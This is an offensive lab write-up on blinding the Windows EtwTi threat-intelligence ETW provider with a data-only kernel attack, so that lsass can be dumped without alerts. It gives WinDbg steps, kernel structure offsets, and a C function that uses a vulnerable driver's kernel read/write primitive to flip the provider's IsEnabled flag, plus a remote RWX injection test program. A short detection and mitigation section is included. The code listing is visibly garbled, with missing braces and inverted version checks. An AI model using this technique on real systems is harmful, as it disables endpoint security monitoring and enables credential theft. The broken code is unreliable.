Data Only Attack: Neutralizing EtwTi Provider


The purpose of this lab is to operate offensively against Secure ETW more specifically the EtwTi Kernel-Mode event provider and learn to stealthily neutralize/revive it at demand.


Lately, there has been a growing public interest in the Microsoft-Windows-Threat-Intelligence ETW provider(or EtwTi in short) for detection of various TTPs used by adversaries and this is partly owing to the fact that it presents a clear and present danger to operations since PSP vendors started their exodus from User-Mode hooks to Kernel-Mode for API interception and logging.
As a result, there has also been a fair bit of excellent research into it by now(all links down below) from both sides and while I draw a lot of inspiration from all these resources, I do not believe this specific technique, was ever developed end-to-end at least publicly.
Special credit goes to Joe Desimone of Endgame, Philip Tsukerman and redp who briefly talked about similar attacks before and planted the initial seeds.
TL;DR - I had an extremely powerful exploit primitive and all I did was a measly data attack to turn off a fragile retroactive tracing system. However, it may help you dump lsass.exe memory using Mimikatz without any alerts and after all, isn't that what it's all about?



Since Windows XP x64, hooking the SSDT quickly became a no-go because of KPP and while that seemed to stop the majority of PSP vendors from writing and deploying questionable code to the kernel, it also presented a looming problem to these vendors including Microsoft themselves.
As a result of this change, PSP vendors were forced to move their code into User-Mode and use standard hooking techniques such as Inline Hooking etc. for monitoring API calls. In theory, this seems like a perfectly fine technique but the obvious disadvantage is that since the hooks are in Ring 3, any User-Mode malware may choose to tamper with it as and when they please even from a Medium-IL context which is where most of the positive foothold occurs.
Kernel callbacks were effective but there existed only so many notification callbacks and there wasn't any visibility into commonly abused system calls at all(On a side note, there now exists a callback for this since Windows 10 20H1/2004 called PsAltSystemCallHandlers albeit it is only registered by Microsoft Defender).
What I'm trying to say is that Windows required some much-needed visibility into Memory Manager(Mm*) and Asynchronous Procedure Call(APC) routines/operations and there were already some huge investments made into Event Tracing for Windows(ETW) so they decided to instrument the Nt Kernel with some special functions that'd log these calls and thus was born the EtwTi provider.
It was first introduced in Windows 10 RS2/1703 and has undergone several advancements over time. In this lab, we are going to be referring to Windows 10 20H2/2009 which is the latest public build at the time of this writing.
It should be worth noting that Microsoft-Windows-Threat-Intelligence ETW provider happens to be one of two major data sources for MDATP/WDATP, the other one being Microsoft-Windows-SEC provider which is composed of the callback routines registered by mssecflt.sys driver.

Uncovering Capabilities of EtwTi Provider

To examine whether this ETW provider exists, we can type the following command from an admin prompt:
logman.exe query providers
ETW Threat Intelligence GUID
Here we can see all the registered ETW providers and their corresponding GUIDs and we can also see the Microsoft-Windows-Threat-Intelligence provider highlighted and its binary manifest file(InstrumentationManifest) located at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID> registry key since this is a Manifest-based ETW provider.
To get more detailed information and get an idea about the type of events supported by the provider, we can type the following command from an admin prompt:
logman.exe query providers Microsoft-Windows-Threat-Intelligence
ETW Threat Intelligence Capabilities
Note that LOCAL here indicates own process and REMOTE indicates another process and logging of most LOCAL events are suppressed by default due to the sheer volume of logs they'd produce had they been enabled.
We can also fire up EtwExplorer by Pavel Yosifovich and examine the provider.
ETW Threat Intelligence Summary
It is also possible to retrieve the XML Manifest file using this tool. This gives us a more detailed insight into the parameters that are logged by a specific EtwTi event.
ETW Threat Intelligence Manifest
Finally, we can fire up KD/LKD and type the following command to discover all the EtwTi routines in the kernel:
x nt!EtwTi*
ETW Threat Intelligence Routines
From all this data, it's not particularly hard to arrive at the conclusion that PSPs now have superior visibility over most of the APIs that are considered likely to be abused by CNO tools such as:
  1. 1.
    kernel32!VirtualAllocEx(or ntdll!NtAllocateVirtualMemory)
  2. 2.
    kernel32!VirtualProtectEx(or ntdll!NtProtectVirtualMemory)
  3. 3.
    kernel32!MapViewOfFile(or ntdll!NtMapViewOfSection)
  4. 4.
    kernel32!QueueUserAPC(or ntdll!NtQueueApcThread)
  5. 5.
  6. 6.
    kernel32!SetThreadContext(or ntdll!NtSetContextThread)
  7. 7.
    kernel32!ReadProcessMemory(or ntdll!NtReadVirtualMemory)
  8. 8.
    kernel32!WriteProcessMemory(or ntdll!NtWriteVirtualMemory)
  9. 9.
    kernel32!SuspendThread(or ntdll!NtSuspendThread)
  10. 10.
    kernel32!ResumeThread(or ntdll!NtResumeThread)
  11. 11.
    kernel32!SuspendProcess(or ntdll!NtSuspendProcess)
  12. 12.
    kernel32!ResumeProcess(or ntdll!NtResumeProcess)
  13. 13.
  14. 14.
  15. 15.
  16. 16.
  17. 17.
    nt!IoCompleteRequest and lots more
A pretty staggering list huh? So what I'm trying to convey is that we can't even load our hundred thousand dollar inbound triggerable, volatile, driverless Ring 0 implant without getting logged by these pesky sensors let alone issue commands to further covert access.
For a more detailed static analysis of EtwTi, I would point the readers to an excellent blog post by 0x00dtm.
As an advanced exercise, try running the command in WinDbg and analyze the private subroutines with IDA Pro:
x nt!EtwpTi*

Secure ETW Channel

"Where there is great power there is great responsibility," - Winston Churchill
While designing this, Microsoft either took the above quote way too seriously or perhaps more realistically, it wanted to keep this out of reach to its competitors and the general masses for as long as possible while simultaneously boosting their own product's optics. Even today, any official information/support regarding EtwTi is restricted to Microsoft Virus Initiative(MVI) partners only and under NDA.
Why do I say this? This is because these EtwTi events are a part of the so-called Secure ETW Channel and are only available for consumption to Early Launch Anti Malware(ELAM) Signed drivers, unlike normal ETW providers which anyone could subscribe and get events from.
The kernel will only send these EtwTi events to services/processes running as SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT/PS_PROTECTED_ANTIMALWARE_LIGHT that have been signed by the Early Launch EKU certificate which was also used to sign the corresponding ELAM driver and installed using kernel32!InstallElamCertificateInfo.
If you need more information regarding this, Pat H. has written a pretty neat blog post which has saved me a lot of time while researching the topic.
On the plus side, Secure ETW is supposed to be "tamper-proof" or at least from User-Mode that is. We can verify these claims to an extent by trying to remove the provider from the trace session.
To disable a provider from a trace session, we can use logman like so(or use sechost!EnableTraceEx2 with EVENT_CONTROL_CODE_DISABLE_PROVIDER flag):
## View all active tracing sessions
logman query -ets
## Query a particular trace session to get the list of providers the consumer is currently subscribed to
logman query <tracing session name> -ets
## Disable a provider from the trace session
logman update trace <tracing session name> --p Microsoft-Windows-Threat-Intelligence -ets
Secure ETW Channel
And it is evident that we failed to disable the provider from logging events. Also, note the protection status of the service that receives the EtwTi events.
Normal ETW Channel
For comparison, I've also included the results of the above commands on a Normal ETW provider i.e. Microsoft-Windows-Kernel-Process which is rather (in)famous for its ability to detect Parent Process ID(PPID) Spoofing with kernel32!CreateProcessA/W + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. Note that we are able to disable the provider successfully, ergo stop further logging of this event by PSPs even though it is a Kernel-Mode provider.
And here are some screenshots of running Jackson T.'s tool TelemetrySourcerer against the EtwTi provider.
Failed to Disable Provider from Trace Session
Successfully Stopped Trace Session
Note that we were able to stop the trace session altogether using sechost!StopTraceA/W in this specific scenario even though we weren't able to remove the provider.
Stopping a trace session is a potentially dangerous(and extremely noisy) action and should almost never be exercised in mission-critical tasks unless instructed otherwise by the MD.

Setting up EtwTi Consumer

In order to verify a successful bypass, we must first be able to set up a testing environment wherein we are able to create a trace session and subscribe to the Microsoft-Windows-Threat-Intelligence provider in order to get these events from the kernel.
Fortunately for us, Pat H. and Filip Olszak have done most of the heavy lifting from this side and we'll be using their public code for creating this test environment to minimize effort and save time.
The steps for doing so are:
  1. 1.
    Grab the pre-compiled ELAM driver and pre-generated Certificate and Private Key PFX file from PPLRunner repository.
  2. 2.
    Grab the pre-compiled service binary from TiEtwAgent repository.
  3. 3.
    Sign the consumer by running the following command from a developer command prompt:
    signtool.exe sign /fd SHA256 /a /v /ph /f ppl_runner.pfx /p "password" TiEtwAgent.exe
  4. 4.
    Now, its time to install the certificate and can be done like so:
    TiEtwAgent.exe install
  5. 5.
    Finally, we can start the service from an elevated command prompt like so:
    net.exe start TiEtwAgent
  6. 6.
    We can check if the service is running by executing the following command:
    sc.exe query TiEtwAgent
    The log file may be viewed like so:
    $agentlog = "C:\Windows\Temp\TiEtwAgent.txt"
    Get-Content $agentlog -Wait
    Remember that Steps 4 and 5 must be repeated after every reboot.
ETW Threat Intelligence In Action
And this is how it looks in action. To design a program that triggers this detection(injection_prototype.exe - allocate +RWX memory in remote process by PID), we can take a look at agent/DetectionLogic.cpp(we'll come back to this later if you can't figure this out yet). To save time on the demonstration, we will not be changing any of the default behaviour but is left as an exercise for the readers.
The above procedure assumes that the test environment is already running in Test Signing mode which if not, can be enabled by running the following command from an elevated command prompt:
bcdedit.exe /set testsigning on
This is of course necessary since we do not possess a valid WHQL Signed code-signing certificate containing the Early Launch EKU.
It should be noted that we may also set up a test environment with a live security product that relies on the EtwTi provider instead of deploying custom code. However, extra care should be taken in that scenario to airgap the test machine from the internet and prevent accidental sample sharing with the vendor cloud.

Neutralizing EtwTi Provider

Now that we have finished setting up a consumer for EtwTi events, let's take a look at how we can disable the provider at will and ergo stop it from logging these events.
Overview of Neutralizing ETW Threat Intelligence

Step 1

First, we need to find the VA of a global non-exported nt symbol known as EtwThreatIntProvRegHandle. As the name suggests, it is used to store the Ring 0 event provider registration handle(or REGHANDLE) of the EtwTi provider as returned by nt!EtwRegister routine after the target provider GUID is supplied to it. This is not really a HANDLE in the traditional sense(Object Manager HANDLE) but rather an opaque structure that directly stores the 64-bit address of the target event registration object in the kernel - nt!_ETW_REG_ENTRY which is created after a call to nt!EtwRegister in order to write events through it(Remember that Windows is an object-based OS?).
Initializing ETW Threat Intelligence REGHANDLE
As seen from the above IDA screenshot, this pseudo-handle along with other Kernel-Mode REGHANDLEs are initialized in nt!EtwpInitialize routine.
Now that we have a brief idea of what it is, the question that arises is how do we find it. We know that it is a non-exported symbol so we can't just call kernel32!GetProcAddress to get its VA so we need to employ pattern searching.
In order to do that, first, we must decide the routine from where we will start scanning for in-memory. However, there are two necessary conditions here that must be met to find the easiest path of locating the target signature and consequently increase reliability and decrease complexity:
1. The symbol from where we'll start scanning must be exported(this is obviously important to avoid recursive searching efforts)
2. The target symbol must not be too far away from the start symbol(again not 100% necessary but highly desirable)
And what better way to find the ideal candidate than listing all cross-references to nt!EtwThreatIntProvRegHandle symbol in IDA Pro.
Listing xrefs to ETW Threat Intelligence REGHANDLE
I have already taken the time to analyze each of these routines and come to the conclusion that nt!KeInsertQueueApc is the ideal start symbol for pattern searching nt!EtwThreatIntProvRegHandle since it satisfies both points 1 and 2.
Now we need to select the target signature that we'll scan for in-memory beginning at start symbol VA. The only necessary condition in this step is that the target signature must be unique in our search range.
In order to find a suitable target signature, we disassemble the start symbol using KD/LKD like so:
u nt!KeInsertQueueApc
ETW Threat Intelligence REGHANDLE Signature
And it is clear from the above image that we have selected our target signature as:
mov rcx, qword ptr[nt!EtwThreatIntProvRegHandle]
It should be noted that we could have also employed hardcoded offsets to find nt!EtwThreatIntProvRegHandle VA at the cost of increased maintenance efforts and low scalability all of which are not desirable qualities of mission-critical tools.

Step 2

Next up is finding the VA of the nt!_ETW_REG_ENTRY structure associated with the EtwTi provider.
This opaque structure represents the event tracing registration object in the kernel.
It is defined as follows:
// Ref:|%202016/2009%2020H2%20(October%202020%20Update)/_ETW_REG_ENTRY
//0x70 bytes (sizeof)
struct _LIST_ENTRY RegList; //0x0
struct _LIST_ENTRY GroupRegList; //0x10
struct _ETW_GUID_ENTRY* GuidEntry; //0x20
struct _ETW_GUID_ENTRY* GroupEntry; //0x28
struct _ETW_REPLY_QUEUE* ReplyQueue; //0x30
struct _ETW_QUEUE_ENTRY* ReplySlot[4]; //0x30
VOID* Caller; //0x30
ULONG SessionId; //0x38
struct _EPROCESS* Process; //0x50
VOID* CallbackContext; //0x50
VOID* Callback; //0x58
USHORT Index; //0x60
USHORT Flags; //0x62
USHORT DbgKernelRegistration:1; //0x62
USHORT DbgUserRegistration:1; //0x62
USHORT DbgReplyRegistration:1; //0x62
USHORT DbgClassicRegistration:1; //0x62
USHORT DbgSessionSpaceRegistration:1; //0x62
USHORT DbgModernRegistration:1; //0x62
USHORT DbgClosed:1; //0x62
USHORT DbgInserted:1; //0x62
USHORT DbgWow64:1; //0x62
USHORT DbgUseDescriptorType:1; //0x62
USHORT DbgDropProviderTraits:1; //0x62
UCHAR EnableMask; //0x64
UCHAR GroupEnableMask; //0x65
UCHAR HostEnableMask; //0x66
UCHAR HostGroupEnableMask; //0x67
struct _ETW_PROVIDER_TRAITS* Traits; //0x68
As mentioned before in Step 1, nt!EtwThreatIntProvRegHandle is actually a pointer to its associated nt!_ETW_REG_ENTRY structure and we could directly dereference the pointer to get its VA but since it is a Ring 0 address and we are currently in CPL 3 we cannot do that and instead use previously obtained Arbitrary Ring 0 PM/VM R/W primitive to read 8-bytes at nt!EtwThreatIntProvRegHandle to get our desired VA.

Step 3

Next up is finding the VA of the nt!_ETW_GUID_ENTRY structure associated with the EtwTi provider.
This opaque structure represents the event provider object in the kernel.
It is defined as follows:
// Ref:|%202016/2009%2020H2%20(October%202020%20Update)/_ETW_GUID_ENTRY
//0x1a8 bytes (sizeof)
struct _LIST_ENTRY GuidList; //0x0
struct _LIST_ENTRY SiloGuidList; //0x10
volatile LONGLONG RefCount; //0x20
struct _GUID Guid; //0x28
struct _LIST_ENTRY RegListHead; //0x38
VOID* SecurityDescriptor; //0x48
struct _ETW_LAST_ENABLE_INFO LastEnable; //0x50
ULONGLONG MatchId; //0x50
struct _TRACE_ENABLE_INFO ProviderEnableInfo; //0x60
struct _TRACE_ENABLE_INFO EnableInfo[8]; //0x80
struct _ETW_FILTER_HEADER* FilterData; //0x180
struct _ETW_SILODRIVERSTATE* SiloState; //0x188
struct _ETW_GUID_ENTRY* HostEntry; //0x190
struct _EX_PUSH_LOCK Lock; //0x198
struct _ETHREAD* LockOwner; //0x1a0
From the previous structure - nt!_ETW_REG_ENTRY, we know that the pointer to nt!_ETW_GUID_ENTRY structure(member = GuidEntry) is located at an offset of 0x20.
Therefore, we add 0x20 to nt!_ETW_REG_ENTRY to obtain the pointer to nt!_ETW_GUID_ENTRY structure and consequently dump 8-bytes at that resultant VA using Arbitrary Ring 0 PM/VM R/W primitive to obtain our desired VA.

Step 4

Finally, we need to find the VA of the nt!_TRACE_ENABLE_INFO structure associated with the EtwTi provider.
This documented structure is used to store important information about the logger.
It is defined as follows:
// Ref:|%202016/2009%2020H2%20(October%202020%20Update)/_TRACE_ENABLE_INFO
//0x20 bytes (sizeof)
ULONG IsEnabled; //0x0
UCHAR Level; //0x4
UCHAR Reserved1; //0x5
USHORT LoggerId; //0x6
ULONG EnableProperty; //0x8
ULONG Reserved2; //0xc
ULONGLONG MatchAnyKeyword; //0x10
ULONGLONG MatchAllKeyword; //0x18
From the previous structure - nt!_ETW_GUID_ENTRY, we know that the VA of nt!_TRACE_ENABLE_INFO structure(member = ProviderEnableInfo) is located at an offset of 0x60.
Therefore, we add 0x60 to nt!_ETW_GUID_ENTRY to obtain our desired VA.

Step 5

To neutralize the EtwTi provider, we simply utilize the Arbitrary Ring 0 PM/VM R/W primitive to write a single byte(0x00) at nt!_TRACE_ENABLE_INFO.IsEnabled VA and ergo disable the provider over all sessions.

Step 6

To revive the EtwTi provider, we once again utilize the Arbitrary Ring 0 PM/VM R/W primitive to write a single byte(0x01) at nt!_TRACE_ENABLE_INFO.IsEnabled VA and ergo re-enable the provider over all sessions.


Before we realize in code the above algorithm, it is important to manually verify it via KD/LKD which is what we are going to do.
Here is the full WinDbg command and result dump to disable the EtwTi provider:
lkd> x nt!EtwThreatIntProvRegHandle
fffff803`32c29978 nt!EtwThreatIntProvRegHandle = <no type information>
lkd> dq fffff803`32c29978 L1
fffff803`32c29978 ffff9281`4bafa690
lkd> dt nt!_ETW_REG_ENTRY ffff9281`4bafa690
+0x000 RegList : _LIST_ENTRY [ 0xffff9281`4bc34908 - 0xffff9281`4bc34908 ]
+0x010 GroupRegList : _LIST_ENTRY [ 0xffff9281`4bafa6a0 - 0xffff9281`4bafa6a0 ]
+0x020 GuidEntry : 0xffff9281`4bc348d0 _ETW_GUID_ENTRY
+0x028 GroupEntry : (null)
+0x030 ReplyQueue : 0xfffff803`32a701e8 _ETW_REPLY_QUEUE
+0x030 ReplySlot : [4] 0xfffff803`32a701e8 _ETW_QUEUE_ENTRY
+0x030 Caller : 0xfffff803`32a701e8 Void
+0x038 SessionId : 0
+0x050 Process : (null)
+0x050 CallbackContext : (null)
+0x058 Callback : (null)
+0x060 Index : 0
+0x062 Flags : 0x81
+0x062 DbgKernelRegistration : 0y1
+0x062 DbgUserRegistration : 0y0
+0x062 DbgReplyRegistration : 0y0
+0x062 DbgClassicRegistration : 0y0
+0x062 DbgSessionSpaceRegistration : 0y0
+0x062 DbgModernRegistration : 0y0
+0x062 DbgClosed : 0y0
+0x062 DbgInserted : 0y1
+0x062 DbgWow64 : 0y0
+0x062 DbgUseDescriptorType : 0y0
+0x062 DbgDropProviderTraits : 0y0
+0x064 EnableMask : 0x3 ''
+0x065 GroupEnableMask : 0 ''
+0x066 HostEnableMask : 0 ''
+0x067 HostGroupEnableMask : 0 ''
+0x068 Traits : (null)
lkd> ? ffff9281`4bafa690 + 0x20
Evaluate expression: -120390958471504 = ffff9281`4bafa6b0
lkd> dq ffff9281`4bafa6b0 L1
ffff9281`4bafa6b0 ffff9281`4bc348d0
lkd> dt nt!_ETW_GUID_ENTRY ffff9281`4bc348d0
+0x000 GuidList : _LIST_ENTRY [ 0xffff9281`4bc0b828 - 0xffff9281`4bc9f050 ]
+0x010 SiloGuidList : _LIST_ENTRY [ 0xffff9281`4bc348e0 - 0xffff9281`4bc348e0 ]
+0x020 RefCount : 0n3
+0x028 Guid : _GUID {f4e1897c-bb5d-5668-f1d8-040f4d8dd344}
+0x038 RegListHead : _LIST_ENTRY [ 0xffff9281`4bafa690 - 0xffff9281`4bafa690 ]
+0x048 SecurityDescriptor : 0xffffb880`72d899a0 Void
+0x050 LastEnable : _ETW_LAST_ENABLE_INFO
+0x050 MatchId : 0
+0x060 ProviderEnableInfo : _TRACE_ENABLE_INFO
+0x080 EnableInfo : [8] _TRACE_ENABLE_INFO
+0x180 FilterData : (null)
+0x188 SiloState : 0xffff9281`4bc0b000 _ETW_SILODRIVERSTATE
+0x190 HostEntry : (null)
+0x198 Lock : _EX_PUSH_LOCK
+0x1a0 LockOwner : (null)
lkd> ? ffff9281`4bc348d0 + 0x60
Evaluate expression: -120390957184720 = ffff9281`4bc34930
lkd> dt nt!_TRACE_ENABLE_INFO ffff9281`4bc34930
+0x000 IsEnabled : 1
+0x004 Level : 0xff ''
+0x005 Reserved1 : 0 ''
+0x006 LoggerId : 0
+0x008 EnableProperty : 0x40
+0x00c Reserved2 : 0
+0x010 MatchAnyKeyword : 0xffffffff`ffffffff
+0x018 MatchAllKeyword : 0
lkd> eb ffff9281`4bc34930 0x0
lkd> dt nt!_TRACE_ENABLE_INFO ffff9281`4bc34930
+0x000 IsEnabled : 0
+0x004 Level : 0xff ''
+0x005 Reserved1 : 0 ''
+0x006 LoggerId : 0
+0x008 EnableProperty : 0x40
+0x00c Reserved2 : 0
+0x010 MatchAnyKeyword : 0xffffffff`ffffffff
+0x018 MatchAllKeyword : 0
And here is a screenshot of the same algorithm realized in code:
Neutralizing ETW Threat Intelligence - WinDbg


This technique in its base form is not recommended for use in regular ops and is only intended for use in "special scenarios" and the reason is twofold:
1. First, this technique is of a disruptive nature which limits its applications AND
2. Secondly, we have more sophisticated ways of circumventing certain EtwTi sensors without disabling the provider altogether some of which will be disclosed in this blog at a later date.
One thing I should point out here is the excessively bad practice of disabling a security feature to further covert access but never reverting the changes after the mission has been accomplished. Take for example the removal of the PPL bit from lsass.exe using a proxy driver to take a MiniDump and then never bothering to turn it back on. This is especially prevalent in both public and private commercial Red Team tools. It is analogous to an amateur thief breaking into a building by hammering the locks and leaving a mess behind but also leaving the facility vulnerable to future attacks. Not only is this bad tradecraft but also extremely dangerous for the customer on so many levels but let me start by giving the two predominant ones:
1. We are(or aspire to be) professionals and professionals have standards. We aim to be the guys that will go as far as to click a picture of the target's room before getting down to business just so we can compare it afterwards in an effort to leave it exactly as it was and not arouse any suspicions of the mark.
2. It is our job to get in as stealthily as possible but it is also our responsibility to ensure that we don't leave a gaping security hole in the wake of our intrusion that'd unintentionally make an adversary's job of compromising the same target easier.
Similarly, in this case, we have a BOOL flag in our code via which we can either disable the provider, if enabled or enable it if disabled and it is expected of the operator to call the routine with the FALSE flag to revive the EtwTi provider as soon as the tasking is completed. I hope the analogies made sense.
There are many other things that we can do without directly disabling the EtwTi provider such as tampering with the REGHANDLE itself such that it points to the incorrect provider, hijacking it to a custom provider, tampering with nt!_TRACE_ENABLE_INFO.Level, tampering with nt!_TRACE_ENABLE_INFO.MatchAnyKeyword/MatchAllKeyword etc. In other words, this technique is meant as a PoC and there are lots of room for improvement. Also, worth noting is the fact that this technique is provider agnostic and can be used to disable other kernel providers too with some slight modifications.


Unfortunately, there is no easy way to detect/mitigate this attack in real-time at least to the best of my knowledge. Furthermore, not even the latest and greatest mitigations such as HyperGuard, HVCI, KDP can protect a target from this data corruption attack unlike locating and patching an EtwTi* routine with a RET/0xC3 instruction. Nevertheless, if you're interested in the above technique, b4rtik has written a post which I would highly recommend the readers to check out.
However, it is possible to hunt for this attack retroactively using WinDbg/KD/LKD or a custom driver. The way it'd work is by checking a couple of things: The Kernel-Mode REGHANDLE points to the correct nt!_ETW_REG_ENTRY structure which in turn points to the correct nt!_ETW_GUID_ENTRY structure and ultimately whether tracing has been disabled by tampering with the appropriate nt!_TRACE_ENABLE_INFO.IsEnabled member which should always(almost) be set to TRUE.
Regarding pre-exploitation mitigation, a lot of things could be done to protect our assets and prevent the adversary from ever being able to load a proxy driver. Some of them are:
1. Turn on VBS features especially HVCI/Memory Integrity AND
2. Create, enforce and maintain a robust Kernel-Mode CI policy using WDAC OR Consider deploying a custom version of Driver-Collider to block bad drivers from loading
3. Monitor device driver load events using nt!PsSetLoadImageNotifyRoutine callbacks alongwith nt!EtwTiLogDriverObjectLoad and look for inconsistencies
For more information regarding this, please refer to a previous post on Kernel Mitigations on this blog.


All theory and no code make for a very boring blog post and keeping that in mind, here is a function that implements the above algorithm:
The below piece of code assumes that we have already established an Arbitrary Ring 0 VM R/W primitive by exploiting a proxy driver.
// Neutralize/Revive Microsoft-Windows-Threat-Intelligence provider
// Needs Arbitrary Ring 0 VM R/W
// Warning - Only supports Windows 10 version 20H2, 20H1, 19H2, 19H1
// ------------------------------------------------------------------------
BOOL disable_etwti(HANDLE deviceHandle, DWORD buildNumber, DWORD_PTR pml4Base, PDWORD_PTR pPatchAddress, BOOL disable) {
// Init some important stuff
DWORD_PTR kernelBaseAddress = 0;
HMODULE Ntoskrnl = NULL;
LPVOID pSymbol = NULL;
DWORD distance = 0;
DWORD_PTR symbolOffset = 0;
DWORD_PTR pEtwThreatIntProvRegHandle = 0;
DWORD_PTR pEtwRegEntry = 0;
DWORD_PTR pEtwGuidEntry = 0;
DWORD_PTR pProviderEnableInfo = 0;
DWORD provStatus = 0;
DWORD provDisabled = 0x00;
DWORD provEnabled = 0x01;
// Check if OS version is supported by routine
switch (buildNumber) {
// Windows 10 20H2/2009
case 19042:
// Windows 10 20H1/2004
case 19041:
// Windows 10 19H2/1909
case 18363:
// Windows 10 19H1/1903
case 18362:
printf("[-] OS version unsupported!\n"); // [DBG]
goto cleanup;
if (disable) {
// Get base VA of ntoskrnl.exe
kernelBaseAddress = (DWORD_PTR)get_kernel_module_base("ntoskrnl.exe");
if (kernelBaseAddress == 0) {
printf("[-] Unable to find base VA of Ntoskrnl.exe!\n"); // [DBG]
goto cleanup;
printf("[+] Ntoskrnl.exe base VA: 0x%p\n", kernelBaseAddress); // [DBG]
// Load ntoskrnl.exe into local process
Ntoskrnl = LoadLibraryExA("Ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (Ntoskrnl == NULL) {
printf("[-] Unable to load Ntoskrnl.exe: %X\n", GetLastError()); // [DBG]
goto cleanup;
printf("[+] Ntoskrnl.exe loaded in local process.\n"); // [DBG]
// Find address of ntoskrnl.exe exported function - KeInsertQueueApc
pSymbol = GetProcAddress(Ntoskrnl, "KeInsertQueueApc");
if (pSymbol == NULL) {
printf("[-] Unable to find address of exported function KeInsertQueueApc: %X\n", GetLastError()); // [DBG]
goto cleanup;
printf("[+] Found KeInsertQueueApc FP.\n"); // [DBG]
// Find address of ntoskrnl.exe non-exported symbol - EtwThreatIntProvRegHandle
for (int i = 0; i < 100; i++) {
// Search for mov rcx, qword ptr [nt!EtwThreatIntProvRegHandle]
// Ref:
// 0x48 = REX.W(instruction prefix) = 64-bit operand size
// 0x8B = MOV(opcode)
// 0x0D = mod = 0, reg/opcode = 1, r/m = 101(modR/M) = Dest register RCX, Displacement only addressing mode
if ((((PBYTE)pSymbol)[i] == 0x48) && (((PBYTE)pSymbol)[i + 1] == 0x8B) && (((PBYTE)pSymbol)[i + 2] == 0x0D)) {
// Dereference the relative offset
distance = *(PDWORD)((DWORD_PTR)pSymbol + i + 3);
// Get the address of target symbol
pSymbol = (LPVOID)((DWORD_PTR)pSymbol + i + distance + 7);
ret = TRUE;
// Check if we found Ring 3 virtual address of nt!EtwThreatIntProvRegHandle
if (ret == FALSE) {
printf("[-] Unable to find kernel module symbol via pattern search!\n"); // [DBG]
goto cleanup;
// Calculate symbol offset
symbolOffset = (DWORD)pSymbol - (DWORD)Ntoskrnl;
// Calculate Ring 0 virtual address of nt!EtwThreatIntProvRegHandle
// x nt!EtwThreatIntProvRegHandle
pEtwThreatIntProvRegHandle = kernelBaseAddress + symbolOffset;
printf("[+] nt!EtwThreatIntProvRegHandle VA: 0x%p\n", pEtwThreatIntProvRegHandle); // [DBG]
// Get address of nt!_ETW_REG_ENTRY using arbitrary Ring 0 VM read
// dq <nt!EtwThreatIntProvRegHandle VA> L1
ret = read_virtual_memory(deviceHandle, pml4Base, pEtwThreatIntProvRegHandle, &pEtwRegEntry, 8);
if (ret == FALSE) {
printf("[-] Unable to find address of nt!_ETW_REG_ENTRY!\n"); // [DBG]
goto cleanup;
printf("[+] nt!_ETW_REG_ENTRY VA: 0x%p\n", pEtwRegEntry); // [DBG]
// Get address of nt!_ETW_GUID_ENTRY using arbitrary Ring 0 VM read
// 0x20 = offset to nt!_ETW_GUID_ENTRY* GuidEntry
// dq (<nt!_ETW_REG_ENTRY VA> + 0x20) L1
ret = read_virtual_memory(deviceHandle, pml4Base, (pEtwRegEntry + 0x20), &pEtwGuidEntry, 8);
if (ret == FALSE) {
printf("[-] Unable to find address of nt!_ETW_GUID_ENTRY!\n"); // [DBG]
goto cleanup;
printf("[+] nt!_ETW_GUID_ENTRY VA: 0x%p\n", pEtwGuidEntry); // [DBG]
// Get address of nt!_TRACE_ENABLE_INFO
// 0x60 = offset to nt!_TRACE_ENABLE_INFO ProviderEnableInfo
// ? <nt!_ETW_GUID_ENTRY VA> + 0x60
pProviderEnableInfo = pEtwGuidEntry + 0x60;
printf("[+] nt!_TRACE_ENABLE_INFO VA: 0x%p\n", pProviderEnableInfo); // [DBG]
*pPatchAddress = pProviderEnableInfo;
// Read nt!_TRACE_ENABLE_INFO.IsEnabled using arbitrary Ring 0 VM read
// 0x00 = offset to ULONG IsEnabled
ret = read_virtual_memory(deviceHandle, pml4Base, pProviderEnableInfo, &provStatus, 4);
if (ret == FALSE) {
printf("[-] Unable to determine current status of ETW Threat Intelligence provider!\n"); // [DBG]
goto cleanup;
printf("[+] nt!_TRACE_ENABLE_INFO.IsEnabled read: 0x%X\n", provStatus); // [DBG]
// Check if ETW Ti provider is already disabled
if (provStatus == provDisabled) {
printf("[-] ETW Threat Intelligence provider is already disabled!\n"); // [DBG]
goto cleanup;
// Disable it now using arbitrary Ring 0 VM write
ret = write_virtual_memory(deviceHandle, pml4Base, pProviderEnableInfo, &provDisabled, 4);
if (ret == FALSE) {
printf("[-] Unable to disable ETW Threat Intelligence provider!\n"); // [DBG]
goto cleanup;
printf("[+] ETW Threat Intelligence provider disabled successfully!\n"); // [DBG]
else {
// Read nt!_TRACE_ENABLE_INFO.IsEnabled using arbitrary Ring 0 VM read
// 0x00 = offset to ULONG IsEnabled
ret = read_virtual_memory(deviceHandle, pml4Base, *pPatchAddress, &provStatus, 4);
if (ret == FALSE) {
printf("[-] Unable to determine current status of ETW Threat Intelligence provider!\n"); // [DBG]
goto cleanup;
printf("[+] nt!_TRACE_ENABLE_INFO.IsEnabled read: 0x%X\n", provStatus); // [DBG]
// Check if ETW Ti provider is already enabled
if (provStatus == provEnabled) {
printf("[-] ETW Threat Intelligence provider is already enabled!\n"); // [DBG]
goto cleanup;
// Enable it now using arbitrary Ring 0 VM write
ret = write_virtual_memory(deviceHandle, pml4Base, *pPatchAddress, &provEnabled, 4);
if (ret == FALSE) {
printf("[-] Unable to enable ETW Threat Intelligence provider!\n"); // [DBG]
goto cleanup;
printf("[+] ETW Threat Intelligence provider enabled successfully!\n"); // [DBG]
// Cleanup
if (Ntoskrnl != NULL)
return ret;
#include <Windows.h>
#include <stdio.h>
int main(int argc, char const *argv[]) {
HANDLE processHandle;
LPVOID pBuffer;
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
pBuffer = VirtualAllocEx(processHandle, 0, 0x10240, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf("Buffer address: 0x%p\n", pBuffer); // [DBG]
return 0;
Note that main.c is the source of the injector_prototype.exe program that is used to trigger an anomalous memory allocation detection via EtwTi events.
And here is the output to verify our results:
Neutralizing ETW Threat Intelligence - Output
Note that the first remote +RWX memory allocation in notepad.exe was caught since that was before our code was executed but the second one was not logged, thus verifying our results.


  1. 21.
    PPLRunner by Pat H.
  2. 22.
  3. 48.
  4. 52.
Last modified 1yr ago